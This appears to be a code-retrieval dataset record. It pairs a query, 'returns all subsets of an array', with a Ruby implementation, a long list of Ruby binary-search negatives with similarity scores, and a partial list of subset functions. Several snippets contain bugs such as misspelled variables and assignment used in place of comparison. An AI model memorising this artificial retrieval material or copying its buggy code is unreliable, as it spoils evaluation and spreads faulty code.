"def binary_search_recursive(array, target, low = 0, high = array.length - 1)\n return \"#{target} value could not be found\" if low > high\n mid = (low + high) / 2\n return mid if array[mid] == target\n p \"#{low} #{mid} #{high}\"\n if array[mid] > target\n high = mid - 1\n else\n low = mid + 1\n end\n binary_search_recursive(array, target, low, high)\nend",
"def search(array, value, b = 0)\n if b >= array.length\n return false\n elsif array[b] == value\n return true\n else\n return search(array, value, b + 1)\n end\nend",
"def binary_search_recursive_non_destructive(array, desired_num, start_index = 0, end_index = array.length - 1)\n mid_index = (start_index + end_index) / 2\n\n return -1 if start_index > end_index # BASE CASE #1\n\n if array[mid_index] == desired_num\n return mid_index # BASE CASE #2\n elsif array[mid_index] > desired_num\n end_index = mid_index - 1\n elsif array[mid_index] < desired_num\n start_index = mid_index + 1\n end\n\n binary_search_recursive_non_destructive(array, desired_num, start_index, end_index)\nend",
"def binary_search(arr, l, r, target)\n return [-1, l, r] if l > r\n mid = l + (r - l) / 2\n return [mid, l, r] if (arr[mid] == target) # Found match!\n (arr[mid] > target) ? binary_search(arr, l, mid - 1, target) : binary_search(arr, mid + 1, r, target)\nend",
"def binary_search(a, key)\n low = 0\n high = a.length - 1\n\n while low <= high\n mid = low + ((high - low) / 2)\n\n return mid if a[mid] == key\n\n if key < a[mid]\n high = mid - 1\n else\n low = mid + 1\n end\n end\n\n return -1\nend",
"def binary_search(array, target)\n return nil if array.length == 1 && array[0] != target\n mid = array.length / 2\n\n if target == array[mid]\n return mid\n elsif target < array[mid]\n return binary_search(array[0...mid], target)\n else\n found = binary_search(array[mid+1..-1], target)\n return found.nil? ? nil : mid + 1 + found\n end\nend",
"def binary_search(arr, target)\n return nil if arr.empty?\n probe_index = arr.size / 2\n probe_ele = arr[probe_index]\n\n case probe_ele <=> target\n when 1\n left_arr = arr.take(probe_index) \n return binary_search(left_arr,target)\n when 0 \n return probe_index\n when -1\n compensated_index = (probe_index + 1)\n right_arr = arr.drop(compensated_index)\n return nil if binary_search(right_arr,target).nil?\n return binary_search(right_arr,target) + compensated_index\n end\nend",
"def bsearch(arr, target)\n return nil if arr.length == 0\n mid = arr.length/2\n\n if target < mid\n bsearch(arr.take(mid), target)\n elsif target == arr[mid]\n return true\n else\n search_res = bsearch(arr.drop(mid + 1), target)\n search_res.nil? ? false : true\n end\nend",
"def bsearch(arr, target)\n return nil if arr.empty?\n mid = arr.length / 2\n return mid if arr[mid] == target\n\n if target < arr[mid]\n bsearch(arr[0...mid], target)\n else\n result = bsearch(arr[mid + 1..-1], target)\n result.nil? ? nil : mid + 1 + result\n end\nend",
"def bsearch(arr,target)\n# p arr\nreturn nil if arr.length==1 && target != arr[0]\nmid =arr.length/2 # 3,1,1,0\n# if arr.length==1 && arr[0] != target\n# return nil\n# end\n\n\nif target==arr[mid]\n\nreturn mid\nelsif target<arr[mid]\n left_index = 0\n right_index = mid-1\n return bsearch(arr[left_index..right_index],target)\n# return bsearch(arr.take(mid),target)\nelse\n left_index = mid+1\n right_index = arr.length-1\n sub_position=bsearch(arr[left_index..right_index],target)\n # sub_position=bsearch(arr.drop(mid+1),target)\n return sub_position.nil? ? nil : (mid+1)+sub_position \n\nend\nend",
"def binary_search_iterative(array, target)\n# declare variables for low and high positions\nlow_index = 0\nhigh_index = array.length - 1\nmid_index = (high_index + low_index) / 2\n\n# while the low is less than the high\nwhile low_index <= high_index do\n\n return mid_index if target == array[mid_index]\n\n puts \"#{low_index} #{mid_index} #{high_index}\"\n\n if low_index == mid_index\n return high_index\n elsif target > array[mid_index]\n # move lower bound up to mid, recalculate new mid\n low_index = mid_index\n # set the high halfway between\n mid_index = (low_index + high_index) / 2\n elsif target < array[mid_index]\n # move upper bound to mid, recalculate new mid\n high_index = mid_index\n mid_index = (low_index + high_index) / 2\n end\n end\nend",
"def binary_search(array, target)\n return nil if array.count == 0\n\n median = array.length / 2\n left = array[0...median]\n right = array[median + 1..-1]\n\n return median if array[median] == target\n if target < array[median]\n return binary_search(left, target)\n else\n sub_answer = binary_search(right, target)\n (sub_answer.nil?) ? nil : (sub_anser + median + 1)\n end\n\nend",
"def binary_search(arr, target, idx_puls = 0)\n mid = arr.length / 2\n return mid + idx_puls if arr[mid] == target\n return nil if arr.length == 1\n\n if arr[mid] < target\n binary_search(arr[(mid + 1)..-1], target, mid + 1)\n else\n binary_search(arr[0...mid], target, idx_puls)\n end\n\nend",
"def binsearch(ary, x)\n left = 0\n right = ary.length - 1\n while left < right\n middle = (left + right) / 2\n Tanj.array :ary, index: [:left..:right, :middle]\n if ary[middle] == x\n Tanj.message \"found it!\"\n return middle\n elsif ary[middle] < x\n Tanj.message \"too small\"\n left = middle + 1\n elsif ary[middle] > x\n Tanj.message \"too large\"\n right = middle - 1\n else\n Tanj.message \"this should be unreachable!\"\n end\n end\n Tanj.message \"didn't find it\"\n return nil\nend",
"def binary_search(arr, target)\n return nil if !arr.include?(target)\n middle_ele = arr[arr.length / 2]\n middle_idx = arr.length / 2\n if target == middle_ele\n return middle_idx\n elsif target > middle_ele\n binary_search(arr[middle_idx+1..-1], target) + arr[0..middle_idx].length\n else\n binary_search(arr[0...middle_idx], target)\n end\nend",
"def bsearch(array, target)\n mid_idx = array.length / 2\n if array[mid_idx] == target\n mid_idx\n elsif array.length == 1\n nil\n elsif array[mid_idx] > target\n bsearch(array[0...mid_idx], target)\n elsif array[mid_idx] < target\n after_mid_idx = mid_idx + 1\n recursion = bsearch(array[after_mid_idx..-1], target)\n recursion.nil? ? nil : after_mid_idx + recursion\n end\nend",
"def bsearch(arr, target)\n return nil if arr.length == 1 && arr[0] != target\n mid_i = arr.length / 2\n return mid_i if arr[mid_i] == target\n\n low_arr = arr[0...mid_i]\n high_arr = arr[mid_i+1..-1]\n\n if arr[mid_i] > target\n bsearch(low_arr, target) \n elsif bsearch(high_arr, target) != nil\n low_arr.length + 1 + bsearch(high_arr, target)\n end\n\nend",
"def binary_search(array, key, start_position)\n left = start_position\n right = array.size - 1\n\n while left < right\n mid = (left + right) / 2\n\n if array[mid] < key\n left = mid + 1\n else\n right = mid\n end\n end\n\n (left == right && array[left] == key) ? left : -1\nend",
"def bsearch(array, value)\n return nil if array.empty?\n # return nil if !array.include?(value)\n\n # debugger\n indeces = array.dup.freeze #[1, 2, 3]\n \n middle = (array.length) / 2\n left = array[(0...middle)]\n right = array[(middle..-1)]\n\n # debugger\n if array[middle] == value\n return indeces.index(value) \n elsif value < array[middle]\n bsearch(left, value)\n else\n middle + bsearch(right, value)\n end\n #somewhere bsearch(array[(0..-2)]\nend",
"def bsearch(array, target)\n return nil if !array.include?(target)\n arr = array.sort\n\n mid = arr.length / 2\n\n\n if arr[mid] == target\n return mid\n elsif arr[mid] < target\n mid + bsearch(arr[mid..-1], target)\n else\n bsearch(arr[0..mid-1], target)\n end\nend",
"def binary_search(array, value, from=0, to=nil)\n to = array.count - 1 unless to\n mid = (from + to) / 2\n \n if value < array[mid]\n return binary_search(array, value, from, mid - 1)\n elsif value > array[mid]\n return binary_search(array, value, mid + 1, to)\n else\n return mid\n end\nend",
"def binary_search(input)\n midpoint = input.length/2\n mid_minus_one = midpoint - 1\n\n if input[0] < input[-1] || input.length <= 1\n return input[0]\n\n elsif input[midpoint] < input[mid_minus_one]\n return input[midpoint]\n\n # if value at midpoint is less than value at end of array, then the\n # rotation point is on left side\n elsif input[midpoint] < input[-1]\n # call binary_search with left 1/2 of array\n binary_search(input[0..midpoint])\n\n # rotation point is on right side\n elsif input[midpoint] > input[-1]\n # call binary_search with right 1/2 of array\n binary_search(input[midpoint..-1])\n end\n\nend",
"def binary_search(arr, target)\n new_arr = arr\n return nil if arr.empty? \n middle = (arr.length - 1) / 2\n if arr[middle] > target\n binary_search(arr[0...middle], target)\n elsif arr[middle] < target \n if binary_search(arr[middle+1..-1], target).nil?\n return nil\n else\n binary_search(arr[middle+1..-1], target) + middle + 1\n end \n elsif target == arr[middle]\n return new_arr.index(arr[middle])\n else\n return nil\n end\nend",
"def binary_search(arr, target)\n if arr.length == 1\n return nil if arr[0] != target\n end\n mid = arr.length / 2\n if target == arr[mid]\n return mid\n elsif target > arr[mid]\n if binary_search(arr[mid..arr.length], target) == nil\n return nil\n else\n return binary_search(arr[mid..arr.length], target) + arr.length / 2\n end\n else\n binary_search(arr[0..mid-1], target)\n end\nend",
"def binary_search(arr, key)\n low = 0\n high = arr.length - 1\n\n while low <= high\n mid = low + (high - low) / 2\n\n return mid if arr[mid] == key\n\n arr[mid] > key ? high = mid - 1 : low = mid + 1\n end\n\n return -1\nend",
"def binary_search(array, target)\n return nil if array.empty?\n midpoint = array.length / 2\n case target <=> array[midpoint]\n when 0\n midpoint\n when 1\n right_idx = binary_search(array[(midpoint + 1)..-1], target)\n if right_idx\n right_idx + 1 + midpoint\n else\n nil\n end\n when -1\n binary_search(array[0...midpoint], target)\n end\nend",
"def bsearch(arr,target)\r\n return nil if arr.length == 0 \r\n midIdx = arr.length/2\r\n mid = arr[midIdx] \r\n if mid > target #left half\r\n bsearch(arr[0...midIdx],target)\r\n elsif mid < target #right half\r\n\r\n idx = bsearch(arr[midIdx+1..-1],target)\r\n if idx \r\n idx + arr[0..midIdx].length\r\n else\r\n return nil\r\n end\r\n \r\n else\r\n return midIdx\r\n end\r\n\r\nend",
"def bsearch(arr, num)\n return nil if !arr.include?(num)\n\n mid_idx = arr.length / 2\n if arr[mid_idx] == num\n return mid_idx\n elsif arr[mid_idx] > num\n lower_half = arr[0...mid_idx]\n bsearch(lower_half, num)\n else\n upper_half = arr[(mid_idx + 1)..-1]\n bsearch(upper_half, num)\n end\n\nend",
"def search(nums, target)\n return -1 if nums.length == 0\n\n left = 0\n right = nums.length\n\n while left < right\n mid = (left + right) / 2\n if nums[mid] == target\n return mid\n elsif nums[mid] < target\n left = mid + 1\n else\n right = mid\n end\n end\n\n # Post-processing:\n # End Condition: left == right\n if (left != nums.length) && (nums[left] == target)\n left\n else\n -1\n end\nend",
"def bsearch arr, target \n return nil if arr.length == 1 && !arr.include?(target)\n\n mid_idx = arr.length / 2\n\n return mid_idx if arr[mid_idx] == target \n \n left = arr.take(mid_idx)\n right = arr.drop(mid_idx)\n\n if arr[mid_idx] > target \n bsearch(left, target)\n else \n result = bsearch(right,target)\n if result.nil? \n return nil \n else \n result + mid_idx\n end\n end\nend",
"def bsearch(arr, target, sorted = false)\n debugger\n if arr.length == 1\n arr == target ? (return arr) : (return nil)\n end\n arr = arr.quicksort unless sorted\n search = arr[arr.length/2]\n case search <=> target\n when -1\n return bsearch(arr[0...search], target, true)\n when 0\n return true\n when 1\n return bsearch(arr[search + 1] , target, true)\n end\n\n\nend",
"def bsearch(array, target)\n return nil if array.empty?\n\n mid_idx = array.length / 2\n mid_ele = array[mid_idx]\n\n return mid_idx if target == mid_ele\n\n if target < mid_ele\n sub_arr = array[0...mid_idx]\n return bsearch(sub_arr, target)\n else\n sub_arr = array[mid_idx + 1..-1]\n next_search = bsearch(sub_arr, target)\n return nil if next_search == nil\n return mid_idx + 1 + next_search\n end\nend",
"def binary_search(key, input) \n find_flag = false\n\n search_left = 0\n search_right = input.length() - 1\n pivot = (search_left + search_right) / 2\n\n while search_left < search_right\n pivot = (search_left + search_right) / 2\n if key == input[pivot]\n find_flag = true\n break\n end\n break if pivot == search_right || pivot == search_left\n search_right = pivot if key < input[pivot]\n search_left = pivot if key > input[pivot]\n end \n\n if find_flag\n puts \"#{key}は input#{pivot}で発見しました\"\n else\n puts \"#{key}は見つかりませんでした..\"\n end\n end",
"def bsearch(arr, target)\n return -1 if arr.empty?\n left = 0\n right = arr.length - 1\n bsearch_helper(arr, target, left, right)\nend",
"def binary_search(array, length, value_to_find)\n mid_point = length/2\n mid = array[mid_point]\n counter = 0\n\n until mid == value_to_find || counter > length\n if mid > value_to_find\n mid_point = mid_point/2\n else \n mid_point = (length - mid_point)/2 + mid_point\n end\n\n mid = array[mid_point]\n counter += 1\n end\n\n mid == value_to_find\nend",
"def search(a,val)\n\tpivot = find_pivot(a,0,a.size-1)\n\tif pivot == -1\n\t\treturn -1\n\telsif a[pivot] == val\n\t\treturn pivot\n\tend\n\tif a[0] <= val\n\t\treturn binary(a,0,pivot-1,val)\n\telse\n\t\treturn binary(a,pivot+1,a.size-1,val)\n\tend\nend",
"def search_helper(array, value, index = 0)\n while index < array.length\n if array[index] == value\n return true\n end\n return search_helper(array, value , index + 1)\n end\n return false\nend",
"def binary_search(array, key, low=0, high=array.size-1) \n return -1 if low > high \n mid = (low + high) / 2 \n return mid if array[mid]==key \n if array[mid] > key \n high = mid - 1 \n else \n low = mid + 1 \n end \n binary_search(array, key, low, high) \nend",
"def binary_search(array, value, from=0, to=nil)\n if to == nil\n to = array.count - 1\n end\n\n mid = (from + to) / 2\n\n if value < array[mid]\n return binary_search array, value, from, mid - 1\n elsif value > array[mid]\n return binary_search array, value, mid + 1, to\n else\n return mid\n end\nend",
"def binary_search(array, value, from=0, to=nil)\n if to == nil\n to = array.count - 1\n end\n\n mid = (from + to) / 2\n\n if value < array[mid]\n return binary_search array, value, from, mid - 1\n elsif value > array[mid]\n return binary_search array, value, mid + 1, to\n else\n return mid\n end\nend",
"def binary_search(array, length, value_to_find)\n # take the length and divide in half,\n # start_index = 0\n # end_index = length - 1\n # midpoint = length / 2\n # until start_index > end_index\n #\n # end\n\nend",
"def binary_search(target, array)\r\n\t#Your code here\r\n\tindex = array.length / 2\r\n\tlo = 0\r\n\thi = array.length - 1\r\n\twhile array[index] != target && array.include?(target)\r\n\t\tif array[index] > target\r\n\t\t\thi = index - 1\r\n\t\t index = (lo + hi) / 2\r\n\t\telsif array[index] < target\r\n\t\t\tlo = index + 1\r\n\t\t\tindex = (lo + hi) / 2\r\n\t\tend\r\n\tend\r\n\tif array[index] == target\r\n\t\treturn index\r\n\telse\r\n\t\treturn -1\r\n\tend \r\nend",
"def binary_search(arr, target)\n\n floor = -1\n ceiling = arr.length\n\n while floor + 1 < ceiling # Has to be plus one or else it will keep looping. NB: Guess index always rounds down.\n\n guess_index = (floor + ceiling)/2\n # puts \"Guess_index\", guess_index\n guess_value = arr[guess_index]\n\n if guess_value == target\n return true\n elsif guess_value < target\n floor = guess_index\n else\n ceiling = guess_index\n end\n\n end\n\n return false\n\nend",
"def bsearch(arr, target)\n return nil if arr.empty?\n mid_idx = arr.length / 2\n pivot = arr[mid_idx]\n return mid_idx if pivot == target\n if pivot > target\n bsearch(arr[0...mid_idx], target)\n else\n result = bsearch(arr[mid_idx + 1..-1], target)\n if result == nil\n nil\n else\n mid_idx + 1 + result\n end\n end\nend",
"def bsearch(array, target)\n mid_point = array.length / 2\n\n return mid_point if target == array[mid_point]\n return nil if array.length == 1\n\n left_hand = array[0...mid_point]\n right_hand = array[mid_point..-1]\n\n if target < array[mid_point]\n bsearch(left_hand, target)\n else\n result = bsearch(right_hand, target)\n return nil if result.nil?\n mid_point + result\n end\n\nend",
"def binary_search(array,item,min,max) #We want this to return the array index of item\n midpoint = min + ( (max - min) / 2 )\n return midpoint if array[midpoint] == item\n\n if max - min == 1 || max - min == 0\n if array[midpoint] == item\n return midpoint\n elsif array[midpoint +1] == item\n return midpoint + 1\n else\n return nil\n end\n end\n\n if array[midpoint] > item\n binary_search(array,item,min,midpoint)\n else array[midpoint] < item\n binary_search(array,item,midpoint,max)\n end\n\nend",
"def binary_search(array, target)\n lower_bound = 0\n upper_bound array.length - 1\n while lower_bound <= upper_boud do\n midpoint = (upper_bound + lower_bound) / 2\n value_at_midpoint = array[midpoint]\n if target == value_at_midpoint\n return midpoint\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n end\n end\n return nil\nend",
"def binary_search(array, length, value_to_find)\n beg_index = 0\n end_index = length - 1\n while beg_index <= end_index do\n half = (end_index - beg_index) / 2\n if array[beg_index + half] == value_to_find\n return true\n elsif array[beg_index + half] < value_to_find\n beg_index = beg_index + half + 1\n else\n end_index = beg_index + half - 1\n end\n end\n return false\nend",
"def binary_search(n, arr)\r\n middle = arr.length / 2 #finds the midpoint of the array\r\n i = 0\r\n j = arr.length - 1\r\n\r\n while i < j #while the array length is bigger than 0\r\n if arr[middle] == n #if the desired element (n) is the middle element, return true\r\n return true\r\n elsif arr[middle] < n #if the middle element is bigger than n\r\n i = middle + 1 #i becomes the element after the middle element\r\n middle = i + j / 2 #middle element becomes the middle of the higher-value elements on right of array \r\n else #if the middle element is not bigger than n, search the lower-value elements on left side of array\r\n j = middle - 1 #sets end of array to the element to the left of the middle\r\n middle = i + j / 2 #sets new middle as the middle of set of lower values (left half of array)\r\n end\r\n end\r\n false\r\nend",
"def search(arr, target)\n left = 0\n right = arr.length - 1\n\n while left <= right\n mid = (left + right ) / 2\n\n return mid if arr[mid] == target\n\n if arr[mid] < target\n left = mid + 1\n else\n right = mid - 1\n end\n end\n\n return -1\nend",
"def binary_search(collection, value)\n low = 0\n high = collection.length\n if low >= high\n return \"not found\"\n end\n\n mid = (high / 2).ceil\n\n if collection[mid] == value\n return collection[mid]\n elsif collection[mid] < value\n binary_search(collection[(mid+1)...high], value)\n else\n binary_search(collection[low...mid], value)\n end\nend",
"def binary_search(array, length, value_to_find)\n raise NotImplementedError\nend",
"def binary_search(array, target)\n return nil if array.empty?\n\n middle_idx = array.length/2\n\n case target <=> array[middle_idx]\n\n when -1\n binary_search(array.take(middle_idx), target)\n when 0\n return middle_idx\n when 1\n binary_search(array[middle_idx..-1], target)\n end\n\nend",
"def binary_searcher(array, value)\n array.bsearch { |integer| value <=> integer } || false\n\nend",
"def binary_search(a, key)\n# At every step, consider the array between low and high indices\n# Define initial low and high indices \n low = 0\n high = a.length - 1\n\n\n# If low value is less or equal to high value, calculate the mid index.\n while low <= high\n mid = low + ((high - low) / 2)\n\n# If the element at the mid index is the key, return mid.\n if a[mid] == key\n return mid\n end\n\n# If the element at mid is greater than the key, then change the index high to mid - 1.\n# The index at low remains the same.\n if key < a[mid]\n high = mid - 1\n\n# If the element at mid is less than the key, then change low to mid + 1. The index at high remains the same.\n else\n low = mid + 1\n end\n end\n\n# Through interations, the low indice will be larger than the high indice if the key doesn’t exist, so -1 is returned.\n return -1\nend",
"def search(array, value, index = 0) \n return false if array == []\n if value == array[index]\n return true \n elsif index == array.length - 1\n return false\n else \n return search(array, value, index + 1)\n end \nend",
"def binary_search(arr, item)\n #assign parts of the array by beginning and end\n\n #Envoy of the beginning\n left = 0\n #Envoy of the End\n right = arr.length - 1\n\n # while the item is not found\n # (since you are converging from the changing range, high to low)\n while left <= right\n #set a mid point to be used in the middle of any range created by high & low\n mid = (left + right) / 2\n\n if arr[mid] == item\n return mid\n end\n\n if arr[mid] > item\n right = mid - 1\n else\n left = mid + 1\n end\n end\n\n return nil\n\nend",
"def bsearch(array, target)\n # compare target value to middle element\n #if target value is == to middle elements value\n #return the position and end\n # if target value is less than middle value seach lower half of array\n # same goes for greater than (search upper half)\n # when it searches lower or upper half it keeps the same logic as the beginning\n # nil if not found; can't find anything in an empty array\n return nil if array.empty?\n\n index = array.length / 2\n # spaceship operator magic!\n case target <=> array[index]\n when -1 #search left side\n bsearch(array.take(index), target)\n when 0\n index\n when 1 #search right side\n answer = bsearch(array.drop(index + 1), target)\n answer.nil? ? nil : index + 1 + answer\n end\nend",
"def binary_search(array, find)\n\tlow = 0\n\thi = array.length-1 \n\n\twhile (low <= hi)\n\t\tmid = low + (hi-low)/2\n\n\t\tif array[mid] == find\n\t\t\treturn mid\n\t\telsif array[mid] < find\n\t\t\tlow = mid + 1\n\t\telse \n\t\t\thi = mid - 1\n\t\tend\t\n\tend\n\n\treturn \"Value not found in array\"\n\nend",
"def bsearch(array, target)\n return nil if array.empty?\n\n n = array.size / 2\n bottom = array[0...n]\n mid = array[n]\n top = array[n + 1..-1]\n\n if target < mid\n bsearch(bottom, target)\n elsif target > mid\n top_search = bsearch(top, target)\n top_search.nil? ? nil : top_search + bottom.size + 1\n else\n mid == target ? n : nil\n end\nend",
"def bsearch(arr, val, start=0, to=nil)\n if to.nil?\n to = arr.size() -1\n end\n\n if start > to\n return -1\n end\n\n mid = (start+to) / 2\n\n # search for pivot on the left\n if arr[mid] > val\n bsearch(arr,val,start,mid-1)\n elsif arr[mid] < val\n # seach on right\n bsearch(arr,val,mid+1,to)\n else\n # found value\n return mid\n end\nend",
"def bsearch(arr, target)\n return nil if arr.length <= 1\n\n mid = arr.length / 2\n case target <=> arr[mid]\n when -1\n bsearch(arr[0..mid], target)\n when 0\n mid\n when 1\n bsearch(arr[mid..-1], target)\n end\nend",
"def bsearch(array, target)\n return nil if array.length == 1 && target != array[0]\n idx = array.length / 2\n mid_ele = array[idx]\n\n if target == mid_ele\n return idx\n elsif target < mid_ele\n return bsearch(array[0...idx], target)\n else\n if bsearch(array[idx+1..-1], target).nil?\n return nil\n else\n return idx + 1 + bsearch(array[idx+1..-1], target)\n end\n end\nend",
"def binary_search(array, length, value_to_find)\n high = length\n low = 0\n length.times do\n guess = (low + high) / 2\n return true if array[guess] == value_to_find\n return false if high - low <= 1\n array[guess] < value_to_find ? low = guess : high = guess\n end\nend",
"def binary_search(array, target)\n mid = array.length / 2\n\n if target < array[mid]\n binary_search(array[0...mid], target)\n elsif value > array[mid]\n function = binary_search(array[mid + 1..-1], target)\n function.nil? ? nil : function + mid + 1\n else\n return mid\n end\nend",
"def binary_search(array, length, value_to_find)\n puts \"NOT IMPLEMENTED\"\nend",
"def binary_search(array, target)\n lower_bound = 0\n upper_bound = array.length - 1\n while lower_bound <= upper_bound\n midpoint = (lower_bound + upper_bound) / 2\n value_at_midpoint = array[midpoint]\n if target = value_at_midpoint\n return midpoint\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n end\n end\n return nil\nend",
"def binary_search(arr, element)\n low = 0\n high = arr.length - 1\n\n while low <= high\n mid = (low + high) / 2\n guess = arr[mid]\n\n if guess > element\n high = mid - 1\n elsif guess < element\n low = mid + 1\n else\n return mid\n end\n end\n\n nil\nend",
"def search(array, value, index = 0)\n # base case\n return false if (index >= array.length)\n return true if (array[index] == value)\n # recursive case\n return search(array, value, index + 1)\nend",
"def search(array, value)\n return false if array.nil?\n return true if array[0] == value\n return search(array[1..-1],value)\nend"
] |
[
"0.73726475",
"0.7329054",
"0.73236984",
"0.72882795",
"0.7271904",
"0.7255239",
"0.7232599",
"0.71786046",
"0.714237",
"0.71394813",
"0.71384084",
"0.7132369",
"0.70760244",
"0.707322",
"0.7063654",
"0.7055301",
"0.70320654",
"0.70302",
"0.7029038",
"0.69994324",
"0.699734",
"0.6984354",
"0.69602877",
"0.6958852",
"0.6956522",
"0.6947701",
"0.69474685",
"0.69366974",
"0.6933295",
"0.6925133",
"0.6913624",
"0.6896215",
"0.68812424",
"0.6880685",
"0.6874347",
"0.6854779",
"0.68533474",
"0.68499184",
"0.68353045",
"0.6832488",
"0.68211925",
"0.6814769",
"0.6812081",
"0.6803652",
"0.68023974",
"0.680159",
"0.68010545",
"0.68006545",
"0.678852",
"0.6781692",
"0.6774656",
"0.6767808",
"0.6765157",
"0.6765037",
"0.6751819",
"0.675056",
"0.67456037",
"0.673635",
"0.6708798",
"0.67070985",
"0.6706468",
"0.6695801",
"0.6685726",
"0.66842455",
"0.66791534",
"0.66772246",
"0.66733325",
"0.66402006",
"0.6635945",
"0.6635945",
"0.66339433",
"0.66309136",
"0.66252005",
"0.66100425",
"0.6609846",
"0.6607886",
"0.66078055",
"0.6606543",
"0.6598689",
"0.658251",
"0.6581315",
"0.6570794",
"0.6566464",
"0.6556754",
"0.65534955",
"0.65485793",
"0.6545483",
"0.653038",
"0.65278816",
"0.65205324",
"0.65187865",
"0.65132886",
"0.6509704",
"0.6504392",
"0.6499295",
"0.6498586",
"0.64957464",
"0.64895815",
"0.6489195",
"0.6487756"
] |
0.6632265
|
71
|
returns all subsets of an array
|
def subsets(array)
if array.empty?
return [[]]
end
el = array.shift[0]
old_subsets = subsets(array)
new_subsets = old_subsets.map { |old_subset| [el] + old_subset }
new_subsets + old_subsets
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def subsets(array)\n\nend",
"def subsets(array)\n\nend",
"def subsets(array)\n\nend",
"def subsets_of(array)\n 0.upto(array.length).flat_map { |n| array.combination(n).to_a }\n end",
"def subsets(array)\n if array.length <= 1\n return array\n end\n subset_array = []\n (0..array.length - 1).each do |i|\n subset_array << subsets(array[0...i]) << subsets(array[0...i]).concat([array[-1]])\n end\n return subset_array\nend",
"def subsets(array)\n return [[]] if array.empty?\n\n dupped = array.dup\n last = dupped.pop\n sets = subsets(dupped)\n\n subsets(dupped).each do |set|\n sets << (set << last)\n end\n\n sets\nend",
"def subsets(arr)\n return [arr] if arr.empty?\n # p arr\n # if arr.length == 1\n # return subsets(arr[0...0]) + [arr]\n # end\n\n arr.each {|ele| subsets(arr -[ele]) } + [arr]\nend",
"def subsets(arr)\r\n comb = [] #set up return array\r\n\r\n for x in 0..arr.length do # gives a value from 0 to arr.length to pass below\r\n arr.combination(x) {|y| comb << y} # pushes to the return all of the possible combinations of the array\r\n end # the x insures that all possible lengths of combinations are returned.\r\n\r\n comb # returns all combinations\r\nend",
"def subsets(array)\n return [[]] if array.empty?\n subs = array[0...-1]\n smaller_subs = subsets(subs)\n bigger_subs = []\n smaller_subs.each do |sub|\n bigger_subs << sub + [array[-1]]\n end\n smaller_subs + bigger_subs\nend",
"def subsets (arr)\n return [[]] if arr.length == 0\n\n interim = subsets(arr[0...-1])\n interim + interim.map do |el|\n el + [arr[-1]]\n end\nend",
"def subsets(array)\n return [[]] if array.empty?\n subs = subsets(array[0..-2])\n subs += subs.map { |el| el += [array.last] }\n end",
"def subsets(arr)\n return [[]] if arr.empty?\n s = subsets(arr - [arr.last])\n s + s.map { |el| el + [arr.last] }\nend",
"def subsets(array)\n return [[]] if array.empty?\n number = array.pop\n prev_subsets = subsets(array)\n new_subsets = []\n prev_subsets.each do |subset|\n new_subsets << ([number] + subset)\n end\n prev_subsets + new_subsets\nend",
"def subsets(array)\n\n return [[]] if array == []\n all_but_last = subsets(array[0...array.length - 1].dup)\n last = array.last\n all_but_last.map { |el| el.dup } + all_but_last.map { |el| el << last }\nend",
"def subsets(arr)\n return [arr] unless arr.is_a?(Array)\n return [arr] if arr.empty?\n\n # return [arr] if arr.length == 1\n # first = arr.shift\n # all_subsets << subsets(first)\n # all_subsets << subsets(arr)\n\n # [[],[1]] << [2],[1,2] [each, last] << [last] [each,last]\n # subsets(arr-1) << subsets(arr)[-1]\n all_subsets = [[]]\n\n arr.each { |ele| all_subsets << [ele] }\n\n (0...(arr.length - 1)).each do |idx1|\n # all_subsets << [arr[idx1]] unless all_subsets.include?(arr[idx1])\n (1...arr.length).each do |idx2|\n if idx2 > idx1 && !all_subsets.include?(arr[idx2])\n # all_subsets << [arr[idx2]]\n all_subsets << arr[idx1..idx2]\n end\n end\n end\n\n all_subsets\nend",
"def subsets(arr)\n return [ [] ] if arr.empty?\n subs = subsets(arr.drop(1)) # [ [] ]\n return subs.concat(subs.map { |sub| [arr.first].concat(sub) })\nend",
"def subsets(array)\n return [[]] if array == []\n\n sets = subsets(array[0...-1])\n sets + sets.map { |el| el += [array.last] }\nend",
"def subsets(arr)\n ans = [[]]\n arr.length.times do |id|\n id2 = id + 1\n ans << [arr[id]]\n while id2 < arr.length\n ans << arr[id..id2]\n id2 += 1\n end\n end\n ans\nend",
"def subsets(array)\n return [[]] if array.empty?\n\n val = array[0]\n subs = subsets(array.drop(1))\n new_subs = subs.map { |sub| sub + [val] }\n\n subs + new_subs\nend",
"def subsets(arr)\n return [arr] if arr.empty?\nsubsets(arr[])\nend",
"def subsets(array)\n return [[]] if array.empty?\n\n subs = subsets(array[0..-2])\n subs.concat(subs.map{|el| el += [array.last]})\nend",
"def subsets(array)\n return [[]] if array.empty?\n\n subs = subsets(array[0..-2])\n subs.concat(subs.map{|el| el += [array.last]})\nend",
"def subsets(arr)\n return [[]] if arr.empty?\n # debugger\n # take - return first n elements\n\n subArr = arr.take(arr.count - 1)\n\n subs = subsets(subArr)\n\n # concat Appends the elements of other_ary to self.\n # tyle co +\n subArrays = subs.map { |sub| sub + [arr.last] }\n subs.concat(subArrays)\nend",
"def subsets(arr)\n subsets_helper(result = [], temp = [], arr, 0)\nend",
"def subsets(arr)\n return [[]] if arr.empty?\n subsets_arr = []\n cur_el = arr[0]\n prior_subs = subsets(arr[1..-1])\n prior_subs.each do |subset|\n subsets_arr << subset.dup.push(cur_el)\n end\n subsets_arr + prior_subs\nend",
"def subsets(arr)\n return [arr] if arr.empty?\n out = []\n subsets(arr[1..-1]).each do |s|\n out << s\n out << [arr[0]] + s\n end\n out\nend",
"def each_subset(array)\n subsets_of(array).each {|subset| yield(subset)}\n end",
"def subsets(set)\n return [[]] if set == []\n \n res= [[]]\n \n 0.upto set.length-1 do |i|\n subsets(set[(i+1)..-1]).each do |subsubset|\n res << [set[i]] + subsubset\n end\n end\n \n res\nend",
"def subsets(arr)\n return [[]] if arr.length == 0\n #return [arr] if arr.length == 1\n\n prev_set = subsets(arr[0..-2])\n new_subset = prev_set.map { |subarr| subarr + [arr[-1]] }\n\n prev_set + new_subset\nend",
"def subsets(arr)\n res = [] \n if arr.length == 1 \n res << [] \n res << [arr[0]]\n return res \n elsif arr.empty?\n return [[]]\n end\n \n last = arr.pop \n old_set = subsets(arr)\n res = old_set\n \n res += old_set.map{ |i| i + [last] }\nend",
